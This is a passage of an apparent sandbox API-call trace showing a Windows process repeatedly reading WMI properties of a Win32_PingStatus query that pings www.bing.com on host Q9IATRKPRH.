This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0140.217] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.217] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0140.217] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0140.218] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.218] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.218] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.218] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.218] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.218] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.218] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.218] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.218] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.218] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.218] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.218] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.218] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.218] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.218] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.218] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.218] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.218] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.218] SysStringByteLen (bstr="__PATH") returned 0xc [0140.218] SysStringByteLen (bstr="__PATH") returned 0xc [0140.219] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28695dc*=0, plFlavor=0x28695e0*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x28695dc*=3, plFlavor=0x28695e0*=64) returned 0x0 [0140.219] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869610*=0, plFlavor=0x2869614*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2869610*=8, plFlavor=0x2869614*=64) returned 0x0 [0140.219] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.219] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.219] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869668*=0, plFlavor=0x286966c*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869668*=8, plFlavor=0x286966c*=64) returned 0x0 [0140.219] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869690*=0, plFlavor=0x2869694*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2869690*=8, plFlavor=0x2869694*=64) returned 0x0 [0140.219] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.219] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.219] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28696e8*=0, plFlavor=0x28696ec*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28696e8*=8, plFlavor=0x28696ec*=64) returned 0x0 [0140.220] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.220] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.220] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28698c0*=0, plFlavor=0x28698c4*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28698c0*=3, plFlavor=0x28698c4*=64) returned 0x0 [0140.220] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28698f4*=0, plFlavor=0x28698f8*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28698f4*=8200, plFlavor=0x28698f8*=64) returned 0x0 [0140.220] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869928*=0, plFlavor=0x286992c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2869928*=8, plFlavor=0x286992c*=64) returned 0x0 [0140.220] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.220] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.221] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869974*=0, plFlavor=0x2869978*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2869974*=8, plFlavor=0x2869978*=64) returned 0x0 [0140.221] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.221] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.221] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28699c0*=0, plFlavor=0x28699c4*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28699c0*=8, plFlavor=0x28699c4*=64) returned 0x0 [0140.221] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.221] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0140.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0140.221] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0140.221] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.221] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869bf4*=0, plFlavor=0x2869bf8*=0 | out: pVal=0x59fe7ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2869bf4*=8, plFlavor=0x2869bf8*=0) returned 0x0 [0140.221] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.221] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.221] IWbemClassObject:Get (in: This=0x5ccc608, wszName="Address", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2869bf4*=8, plFlavor=0x2869bf8*=0 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x2869bf4*=8, plFlavor=0x2869bf8*=0) returned 0x0 [0140.221] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.222] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0140.223] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.225] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a844*=0, plFlavor=0x286a848*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x286a844*=8, plFlavor=0x286a848*=64) returned 0x0 [0140.225] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.225] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.225] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a844*=8, plFlavor=0x286a848*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x286a844*=8, plFlavor=0x286a848*=64) returned 0x0 [0140.225] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.225] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.225] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.225] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a8e0*=0, plFlavor=0x286a8e4*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286a8e0*=8, plFlavor=0x286a8e4*=64) returned 0x0 [0140.225] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.226] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.226] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a8e0*=8, plFlavor=0x286a8e4*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286a8e0*=8, plFlavor=0x286a8e4*=64) returned 0x0 [0140.226] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.226] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.226] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.226] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.226] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286aa3c*=0, plFlavor=0x286aa40*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x286aa3c*=8200, plFlavor=0x286aa40*=64) returned 0x0 [0140.226] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286aa3c*=8200, plFlavor=0x286aa40*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x286aa3c*=8200, plFlavor=0x286aa40*=64) returned 0x0 [0140.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.227] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.227] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.227] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286aca4*=0, plFlavor=0x286aca8*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286aca4*=8, plFlavor=0x286aca8*=64) returned 0x0 [0140.227] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.227] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.227] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286aca4*=8, plFlavor=0x286aca8*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286aca4*=8, plFlavor=0x286aca8*=64) returned 0x0 [0140.227] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.227] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0140.227] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0140.227] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.227] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286adcc*=0, plFlavor=0x286add0*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x286adcc*=8200, plFlavor=0x286add0*=64) returned 0x0 [0140.228] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286adcc*=8200, plFlavor=0x286add0*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x286adcc*=8200, plFlavor=0x286add0*=64) returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0140.228] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.228] IWbemClassObject:GetNames (in: This=0x5ccc608, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0140.228] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.228] SafeArrayGetDim (psa=0x5cea130) returned 0x1 [0140.229] SafeArrayGetLBound (in: psa=0x5cea130, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0140.229] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.229] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.229] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.229] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.229] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.229] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.229] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.229] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.229] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.229] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.229] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.229] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.229] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.229] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.229] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.229] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.229] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.229] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.229] SysStringByteLen (bstr="__PATH") returned 0xc [0140.229] SysStringByteLen (bstr="__PATH") returned 0xc [0140.230] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b61c*=0, plFlavor=0x286b620*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x286b61c*=3, plFlavor=0x286b620*=64) returned 0x0 [0140.230] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b650*=0, plFlavor=0x286b654*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286b650*=8, plFlavor=0x286b654*=64) returned 0x0 [0140.230] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.230] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.230] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b6a8*=0, plFlavor=0x286b6ac*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b6a8*=8, plFlavor=0x286b6ac*=64) returned 0x0 [0140.230] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b6d0*=0, plFlavor=0x286b6d4*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x286b6d0*=8, plFlavor=0x286b6d4*=64) returned 0x0 [0140.230] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.230] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.230] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b728*=0, plFlavor=0x286b72c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x286b728*=8, plFlavor=0x286b72c*=64) returned 0x0 [0140.231] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.231] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0140.231] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b900*=0, plFlavor=0x286b904*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x286b900*=3, plFlavor=0x286b904*=64) returned 0x0 [0140.231] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b934*=0, plFlavor=0x286b938*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d099e0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x286b934*=8200, plFlavor=0x286b938*=64) returned 0x0 [0140.231] IWbemClassObject:Get (in: This=0x5ccc608, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286b968*=0, plFlavor=0x286b96c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x286b968*=8, plFlavor=0x286b96c*=64) returned 0x0 [0140.231] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.231] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.232] IWbemClassObject:Get (in: This=0x5ccc608, 